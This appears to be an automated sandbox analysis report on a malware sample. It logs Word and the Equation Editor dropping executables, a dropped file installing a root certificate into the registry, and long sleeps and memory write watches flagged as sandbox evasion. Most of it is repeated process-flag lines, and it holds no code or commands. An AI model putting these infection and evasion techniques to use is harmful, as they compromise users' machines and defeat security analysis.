Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\Xkl0PnD8zFPjfh1[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 480000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 23F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: B20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 7E20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 5860000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 8E20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 5A40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 240000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 23F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Memory allocated: 630000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2283 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3570 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Window / User API: threadDelayed 9606 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3620 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 3776 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3972 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3984 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3880 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 4008 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 4028 Thread sleep time: -19369081277395017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 4028 Thread sleep time: -8400000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 4032 Thread sleep count: 210 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe TID: 4032 Thread sleep count: 9606 > 30 Jump to behavior
